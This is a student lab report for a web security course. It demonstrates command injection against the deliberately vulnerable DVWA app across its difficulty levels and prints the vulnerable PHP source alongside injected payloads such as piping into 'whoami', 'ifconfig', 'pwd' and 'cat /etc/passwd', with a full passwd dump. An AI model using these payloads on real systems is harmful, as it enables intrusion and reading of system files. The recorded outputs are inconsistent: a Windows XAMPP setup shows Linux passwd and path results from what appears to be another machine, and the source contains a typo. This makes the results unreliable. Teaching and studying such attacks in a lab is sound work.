



**VIT<sup>®</sup>**  
**Vellore Institute of Technology**  
(Deemed to be University under section 3 of UGC Act, 1956)

Name:	Antrang Agrawal
Registration Number:	20BCI0262
Course Code:	BCI3001
Course Title:	Web Security
Lab Slot:	L37+L38
Semester:	Fall Semester 2021-2022
Guided By:	Bhulakshmi Bonthu

**Title:**

**LAB - Experiment - 4**

Command Line Injection :

An attack known as "command injection" aims to use a weak application to execute arbitrary commands on the host operating system. When an application sends unsecured user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell, command injection attacks are conceivable. In this attack, the vulnerable application's privileges are typically used to execute the operating system commands supplied by the attacker. Attacks using command injection are largely made possible by inadequate input validation.

In contrast to this attack, code injection enables the attacker to insert custom code that the programme will then run. Without having to inject code, the attacker can enhance the application's default capability, which allows it to run system commands.

Step 1:

Setting Difficulty to Low :

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

DVWA Security

Security Level

Security level is currently: **medium**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of **bad security practices**, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative bad practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the vulnerable source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high'.

Low

Submit

PHPIDS

PHPIDS v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in some cases how WAFs can be circumvented.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently: **disabled**. [\[Enable PHPIDS\]](#)

[\[Simulate attack\]](#) - [\[View IDS log\]](#)

Username: admin

Security Level: medium

Locale: en

PHPIDS: disabled

SQLi DB: mysql

# Modifying The Source and Viewing Low.php

Command Injection Source

vulnerabilities/exec/source/low.php

```
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

Compare All Levels

Step 2 :

Ping a device

Enter an IP address:

Step 3:

Ping a device

Enter an IP address:

```
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 0ms, Average = 0ms
```

Step 4:

Ping a device

Enter an IP address:

Whoami Command :

127.0.0.1 | whoami

Ping a device

Enter an IP address:

Submit

laptop-5sogrc10\antra

Echo Command :

127.0.0.1 | echo “Hello”

Ping a device

Enter an IP address:

Submit

"Hello"

Low Level Command :

This allows for direct input into one of many PHP functions that will execute commands on the OS. It is possible to escape out of the designed command and executed unintentional actions.

Dir Command :

Ping a device

Enter an IP address:

Submit

Pinging 127.0.0.1 with 32 bytes of data:  
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128  
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128  
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128  
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128  
  
Ping statistics for 127.0.0.1:  
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),  
Approximate round trip times in milli-seconds:  
Minimum = 0ms, Maximum = 0ms, Average = 0ms  
Volume in drive C is Windows  
Volume Serial Number is EE4B-B5D0  
  
Directory of C:\xampp\htdocs\DVWA-master\vulnerabilities\exec  
  
10/12/2022 03:01 AM  
  
10/12/2022 03:01 AM  
  
10/12/2022 03:01 AM  
  
help  
10/12/2022 03:01 AM 1,839 index.php  
10/12/2022 03:01 AM  
  
source  
1 File(s) 1,839 bytes  
4 Dir(s) 125,055,066,112 bytes free

Medium Level :

The developer is aware of several command injection problems and has included various pattern patching to filter input. This, however, falls short. To exit the desired command, a number of alternative system syntaxes can be utilised.

127.0.0.1 && ifconfig

Ping a device

Enter an IP address:

127.0.0.1 && ifconfig

Submit

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

127.0.0.1 | cat /etc/passwd

Enter an IP address below:

127.0.0.1 | cat /etc/passwd

submit

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

dhcp:x:101:102::/nonexistent:/bin/false

syslog:x:102:103::/home/syslog:/bin/false

klog:x:103:104::/home/klog:/bin/false

sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

bind:x:105:113::/var/cache/bind:/bin/false

postfix:x:106:115::/var/spool/postfix:/bin/false

ftp:x:107:65534::/home/ftp:/bin/false

postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false

tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false

distccd:x:111:65534:::/bin/false

user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

service:x:1002:1002,,,:/home/service:/bin/bash

telnetd:x:112:120::/nonexistent:/bin/false

proftpd:x:113:65534::/var/run/proftpd:/bin/false

statd:x:114:65534::/var/lib/nfs:/bin/false

snmp:x:115:65534::/var/lib/snmp:/bin/false

High Level :

The developer goes back to the drawing board and adds even more pattern matching at the high level. But even this is insufficient.Either the developer accidentally made a small error when creating the filters or they hope using a specific PHP command will correct their error.

127.0.0.1 | trim()

Ping a device

Enter an IP address:

Submit

Volume in drive C is Windows

Volume Serial Number is EE4B-B5D0

Directory of C:\xampp\htdocs\DVWA-master\vulnerabilities\exec

127.0.0.1 | pwd

Enter an IP address below:

127.0.0.1|pwd

submit

/var/www/dvwa/vulnerabilities/exec

## Impossible Level :

The task has been rewritten for the impossible level, but only to allow for a very stringent input. This won't be permitted to execute if the two don't match and the result isn't what is expected. This employs "white listing" filtering (only allowing specific values) as opposed to "black listing" filtering (allowing any input and eliminating undesired).